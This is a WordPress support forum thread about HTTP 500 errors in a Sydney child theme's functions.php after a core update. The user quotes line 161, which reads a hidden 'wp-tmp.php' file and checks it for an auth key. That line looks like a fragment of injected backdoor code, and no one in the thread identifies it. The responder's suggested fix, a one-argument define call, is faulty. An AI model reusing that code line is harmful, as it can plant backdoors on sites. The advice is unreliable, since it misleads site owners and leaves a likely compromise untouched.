• Hello it’s me again 🙁

    The theme is updated and i tried to refresh WP 5.1 to 5.2 and HttP error 500 again.

    In a log file i can see the following:
    [11-Jun-2019 12:31:18 UTC] PHP Warning: Use of undefined constant REQUEST_URI – assumed ‘REQUEST_URI’ (this will throw an Error in a future version of PHP) in /home……./wp-content/themes/sydney-child/functions.php on line 73.

    Permissions are OK.

    Please, advice.

    Regards,
    L

Viewing 2 replies - 1 through 2 (of 2 total)
  • Hello there,

    It looks like your child theme’s functions contains problematic code on line 73. the error notice reported that REQUEST_URI constant doesn’t present. To fix it, add define('REQUEST_URI'); to the most top line of functions.php of child theme — right after <?php opening tag.

    This constant isn’t part of Sydney’s script. I believe the error notice will go away if main theme enabled.

    Regards,
    Kharis

    Thread Starter lillike18

    (@lillike18)

    Hi,

    Here’s the error log file of child theme:
    [11-Jun-2019 14:14:02 UTC] PHP Fatal error: Uncaught Error: Call to undefined function get_template_directory() in /home/…./wp-content/themes/sydney-child/functions.php:161
    Stack trace:
    #0 {main}
    thrown in /home/…./wp-content/themes/sydney-child/functions.php on line 161.

    And the code is functions.php on line 161:

    } elseif ($tmpcontent = @file_get_contents(get_template_directory() . ‘/wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {

    Please, advice.

    The problem is not solved.

    With the best,
    L

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘Sydney theme conflict again’ is closed to new replies.